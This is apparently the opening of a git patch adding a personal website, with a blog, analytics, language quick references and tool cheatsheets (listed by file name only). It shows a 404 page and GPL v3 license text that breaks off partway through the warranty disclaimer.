From 6f42a58ee56fcb1e77501b68b6e415838d37575c Mon Sep 17 00:00:00 2001 From: Fraggle Date: Sun, 25 Jan 2026 11:33:37 -0400 Subject: [PATCH] first commit --- 404.html | 38 + LICENSE.md | 666 +++++++ README.md | 544 ++++++ analytics/analytics.js | 469 +++++ analytics/index.html | 75 + analytics/verify.php | 301 ++++ api/analytics.php | 336 ++++ api/reaction.php | 114 ++ api/track.php | 113 ++ assets/css/style.css | 1587 +++++++++++++++++ .../fonts/GohuFont14NerdFontMono-Regular.ttf | Bin 0 -> 2089400 bytes assets/icons/bluesky.svg | 1 + assets/icons/book.svg | 1 + assets/icons/check.svg | 1 + assets/icons/copy.svg | 5 + assets/icons/heart.svg | 1 + assets/icons/home.svg | 1 + assets/icons/like.svg | 19 + assets/icons/mastodon.svg | 1 + assets/icons/rss.svg | 1 + assets/js/blog-utils.js | 48 + assets/js/error-messages.js | 138 ++ assets/js/error-page.js | 33 + assets/js/main.js | 99 + assets/js/theme-init.js | 7 + assets/js/theme.js | 130 ++ blog/admin/example-post.md | 10 + blog/admin/index.php | 101 ++ blog/api/feed.php | 127 ++ blog/api/posts.php | 14 + blog/data/posts.json | 9 + blog/index.html | 55 + blog/js/analytics.js | 56 + blog/js/blog.js | 61 + blog/js/generate-rss.js | 71 + blog/js/post.js | 122 ++ blog/js/reactions.js | 200 +++ blog/js/rss.js | 106 ++ blog/post.html | 61 + cheatsheets/age.html | 157 ++ cheatsheets/aide.html | 417 +++++ cheatsheets/amass.html | 234 +++ cheatsheets/aquatone.html | 209 +++ cheatsheets/arpwatch.html | 183 ++ cheatsheets/auditd.html | 399 +++++ cheatsheets/bettercap.html | 315 ++++ cheatsheets/cat.html | 151 ++ cheatsheets/chafa.html | 180 ++ cheatsheets/chroot.html | 309 ++++ cheatsheets/clagrange.html | 207 +++ cheatsheets/cloud_enum.html | 205 +++ cheatsheets/crackmapexec.html | 216 +++ cheatsheets/crowdsec.html | 235 +++ cheatsheets/curl.html | 306 ++++ cheatsheets/dfc.html | 141 ++ cheatsheets/dnsrecon.html | 220 +++ cheatsheets/dwm.html | 257 +++ cheatsheets/fail2ban.html | 470 +++++ cheatsheets/fdisk.html | 225 +++ cheatsheets/ffuf.html | 252 +++ cheatsheets/find.html | 238 +++ cheatsheets/foot.html | 236 +++ cheatsheets/fzf.html | 312 ++++ cheatsheets/gau.html | 209 +++ cheatsheets/gobuster.html | 262 +++ cheatsheets/gowitness.html | 236 +++ cheatsheets/gpg-agent.html | 144 ++ cheatsheets/gpg.html | 99 + cheatsheets/hashcat.html | 310 ++++ cheatsheets/hcxdumptool.html | 226 +++ cheatsheets/hcxpcapngtool.html | 239 +++ cheatsheets/host.html | 214 +++ cheatsheets/htop.html | 197 ++ cheatsheets/httpx.html | 291 +++ cheatsheets/hydra.html | 268 +++ cheatsheets/hyprland.html | 252 +++ cheatsheets/iftop.html | 218 +++ cheatsheets/impacket.html | 236 +++ cheatsheets/index.html | 63 + cheatsheets/iptables.html | 343 ++++ cheatsheets/irssi.html | 431 +++++ cheatsheets/jq.html | 245 +++ cheatsheets/katana.html | 205 +++ cheatsheets/kill.html | 190 ++ cheatsheets/linux.html | 568 ++++++ cheatsheets/lsblk.html | 272 +++ cheatsheets/lsof.html | 219 +++ cheatsheets/magic-wormhole.html | 154 ++ cheatsheets/masscan.html | 255 +++ cheatsheets/md5sum.html | 85 + cheatsheets/miller.html | 240 +++ cheatsheets/mount.html | 256 +++ cheatsheets/mpv.html | 475 +++++ cheatsheets/msfconsole.html | 379 ++++ cheatsheets/neomutt.html | 662 +++++++ cheatsheets/neovim.html | 268 +++ cheatsheets/newsboat.html | 237 +++ cheatsheets/nftables.html | 406 +++++ cheatsheets/nikto.html | 264 +++ cheatsheets/nmap.html | 372 ++++ cheatsheets/nuclei.html | 287 +++ cheatsheets/openssl.html | 170 ++ cheatsheets/pass.html | 180 ++ cheatsheets/perf.html | 222 +++ cheatsheets/ps.html | 234 +++ cheatsheets/qtile.html | 274 +++ cheatsheets/regex.html | 252 +++ cheatsheets/responder.html | 209 +++ cheatsheets/ripgrep.html | 238 +++ cheatsheets/sed.html | 224 +++ cheatsheets/sensors.html | 172 ++ cheatsheets/sha1sum.html | 85 + cheatsheets/sha256sum.html | 93 + cheatsheets/sha512sum.html | 84 + cheatsheets/snort.html | 297 +++ cheatsheets/sqlmap.html | 345 ++++ cheatsheets/ss.html | 230 +++ cheatsheets/ssh-keygen.html | 143 ++ cheatsheets/ssh.html | 176 ++ cheatsheets/sslyze.html | 250 +++ cheatsheets/strace.html | 239 +++ cheatsheets/stress-ng.html | 209 +++ cheatsheets/subfinder.html | 221 +++ cheatsheets/sublist3r.html | 170 ++ cheatsheets/suricata.html | 225 +++ cheatsheets/termshark.html | 210 +++ cheatsheets/tmux.html | 365 ++++ cheatsheets/wafw00f.html | 199 +++ cheatsheets/watch.html | 179 ++ cheatsheets/waybackurls.html | 175 ++ cheatsheets/waybar.html | 231 +++ cheatsheets/wazuh.html | 405 +++++ cheatsheets/wget.html | 319 ++++ cheatsheets/whatweb.html | 250 +++ cheatsheets/yazi.html | 571 ++++++ cheatsheets/zeek.html | 211 +++ docs/ANALYTICS_ACCURACY.md | 143 ++ favicon.ico | Bin 0 -> 4286 bytes index.html | 101 ++ quickref/bash.html | 286 +++ quickref/cpp.html | 396 ++++ quickref/index.html | 63 + quickref/javascript.html | 414 +++++ quickref/odin.html | 415 +++++ quickref/python.html | 239 +++ quickref/rust.html | 372 ++++ search/theme-inject.js | 131 ++ search/theme.css | 284 +++ 148 files changed, 32974 insertions(+) create mode 100644 404.html create mode 100644 LICENSE.md create mode 100644 README.md create mode 100644 analytics/analytics.js create mode 100644 analytics/index.html create mode 100644 analytics/verify.php create mode 100755 api/analytics.php create mode 100755 api/reaction.php create mode 100755 api/track.php create mode 100755 assets/css/style.css create mode 100755 assets/fonts/GohuFont14NerdFontMono-Regular.ttf create mode 100644 assets/icons/bluesky.svg create mode 100644 assets/icons/book.svg create mode 100644 assets/icons/check.svg create mode 100644 assets/icons/copy.svg create mode 100644 assets/icons/heart.svg create mode 100644 assets/icons/home.svg create mode 100644 assets/icons/like.svg create mode 100644 assets/icons/mastodon.svg create mode 100644 assets/icons/rss.svg create mode 100644 assets/js/blog-utils.js create mode 100644 assets/js/error-messages.js create mode 100644 assets/js/error-page.js create mode 100644 assets/js/main.js create mode 100644 assets/js/theme-init.js create mode 100644 assets/js/theme.js create mode 100644 blog/admin/example-post.md create mode 100755 blog/admin/index.php create mode 100644 blog/api/feed.php create mode 100644 blog/api/posts.php create mode 100644 blog/data/posts.json create mode 100644 blog/index.html create mode 100644 blog/js/analytics.js create mode 100644 blog/js/blog.js create mode 100755 blog/js/generate-rss.js create mode 100644 blog/js/post.js create mode 100644 blog/js/reactions.js create mode 100644 blog/js/rss.js create mode 100644 blog/post.html create mode 100644 cheatsheets/age.html create mode 100644 cheatsheets/aide.html create mode 100644 cheatsheets/amass.html create mode 100644 cheatsheets/aquatone.html create mode 100644 cheatsheets/arpwatch.html create mode 100644 cheatsheets/auditd.html create mode 100644 cheatsheets/bettercap.html create mode 100644 cheatsheets/cat.html create mode 100644 cheatsheets/chafa.html create mode 100644 cheatsheets/chroot.html create mode 100644 cheatsheets/clagrange.html create mode 100644 cheatsheets/cloud_enum.html create mode 100644 cheatsheets/crackmapexec.html create mode 100644 cheatsheets/crowdsec.html create mode 100644 cheatsheets/curl.html create mode 100644 cheatsheets/dfc.html create mode 100644 cheatsheets/dnsrecon.html create mode 100644 cheatsheets/dwm.html create mode 100644 cheatsheets/fail2ban.html create mode 100644 cheatsheets/fdisk.html create mode 100644 cheatsheets/ffuf.html create mode 100644 cheatsheets/find.html create mode 100644 cheatsheets/foot.html create mode 100644 cheatsheets/fzf.html create mode 100644 cheatsheets/gau.html create mode 100644 cheatsheets/gobuster.html create mode 100644 cheatsheets/gowitness.html create mode 100644 cheatsheets/gpg-agent.html create mode 100644 cheatsheets/gpg.html create mode 100644 cheatsheets/hashcat.html create mode 100644 cheatsheets/hcxdumptool.html create mode 100644 cheatsheets/hcxpcapngtool.html create mode 100644 cheatsheets/host.html create mode 100644 cheatsheets/htop.html create mode 100644 cheatsheets/httpx.html create mode 100644 cheatsheets/hydra.html create mode 100644 cheatsheets/hyprland.html create mode 100644 cheatsheets/iftop.html create mode 100644 cheatsheets/impacket.html create mode 100644 cheatsheets/index.html create mode 100644 cheatsheets/iptables.html create mode 100644 cheatsheets/irssi.html create mode 100644 cheatsheets/jq.html create mode 100644 cheatsheets/katana.html create mode 100644 cheatsheets/kill.html create mode 100644 cheatsheets/linux.html create mode 100644 cheatsheets/lsblk.html create mode 100644 cheatsheets/lsof.html create mode 100644 cheatsheets/magic-wormhole.html create mode 100644 cheatsheets/masscan.html create mode 100644 cheatsheets/md5sum.html create mode 100644 cheatsheets/miller.html create mode 100644 cheatsheets/mount.html create mode 100644 cheatsheets/mpv.html create mode 100644 cheatsheets/msfconsole.html create mode 100644 cheatsheets/neomutt.html create mode 100644 cheatsheets/neovim.html create mode 100644 cheatsheets/newsboat.html create mode 100644 cheatsheets/nftables.html create mode 100644 cheatsheets/nikto.html create mode 100644 cheatsheets/nmap.html create mode 100644 cheatsheets/nuclei.html create mode 100644 cheatsheets/openssl.html create mode 100644 cheatsheets/pass.html create mode 100644 cheatsheets/perf.html create mode 100644 cheatsheets/ps.html create mode 100644 cheatsheets/qtile.html create mode 100644 cheatsheets/regex.html create mode 100644 cheatsheets/responder.html create mode 100644 cheatsheets/ripgrep.html create mode 100644 cheatsheets/sed.html create mode 100644 cheatsheets/sensors.html create mode 100644 cheatsheets/sha1sum.html create mode 100644 cheatsheets/sha256sum.html create mode 100644 cheatsheets/sha512sum.html create mode 100644 cheatsheets/snort.html create mode 100644 cheatsheets/sqlmap.html create mode 100644 cheatsheets/ss.html create mode 100644 cheatsheets/ssh-keygen.html create mode 100644 cheatsheets/ssh.html create mode 100644 cheatsheets/sslyze.html create mode 100644 cheatsheets/strace.html create mode 100644 cheatsheets/stress-ng.html create mode 100644 cheatsheets/subfinder.html create mode 100644 cheatsheets/sublist3r.html create mode 100644 cheatsheets/suricata.html create mode 100644 cheatsheets/termshark.html create mode 100644 cheatsheets/tmux.html create mode 100644 cheatsheets/wafw00f.html create mode 100644 cheatsheets/watch.html create mode 100644 cheatsheets/waybackurls.html create mode 100644 cheatsheets/waybar.html create mode 100644 cheatsheets/wazuh.html create mode 100644 cheatsheets/wget.html create mode 100644 cheatsheets/whatweb.html create mode 100644 cheatsheets/yazi.html create mode 100644 cheatsheets/zeek.html create mode 100644 docs/ANALYTICS_ACCURACY.md create mode 100755 favicon.ico create mode 100644 index.html create mode 100644 quickref/bash.html create mode 100644 quickref/cpp.html create mode 100644 quickref/index.html create mode 100644 quickref/javascript.html create mode 100644 quickref/odin.html create mode 100644 quickref/python.html create mode 100644 quickref/rust.html create mode 100644 search/theme-inject.js create mode 100644 search/theme.css diff --git a/404.html b/404.html new file mode 100644 index 0000000..db50584 --- /dev/null +++ b/404.html @@ -0,0 +1,38 @@ + + + + + + + + + + + 404 - Page Not Found - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+

404

+

Page Not Found

+

Loading error message...

+ +
+ + + + diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..0d6c36a --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,666 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2025 Website Template Contributors + + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a "work based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work for +making modifications to it. "Object code" means any non-source form of +a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that is +widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for the +work, and the source code for shared libraries and dynamically linked +subprograms that the work is specifically designed to require, such as by +intimate data communication or control flow between those subprograms and +other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license remains in force. +You may convey covered works to others for the sole purpose of having +them make modifications exclusively for you, or provide you with +facilities for running those works, provided that you comply with the +terms of this License in conveying all material for which you do not +control copyright. Those thus making or running the covered works for +you must do so exclusively on your behalf, under your direction and +control, on terms that prohibit them from making any copies of your +copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or similar +laws prohibiting or restricting circumvention of such measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License does not + authorize you to use any trademark, service mark, tradename, or + logo of any Contributor. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied by +the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder fails to notify you of +the violation by some reasonable means within 60 days of your receipt +of the copy. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy also receives whatever licenses to +the work the party's predecessor in interest had or could give under +the previous paragraph, plus a right to possession of the Corresponding +Source of the work from the predecessor in interest, if the predecessor +has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED 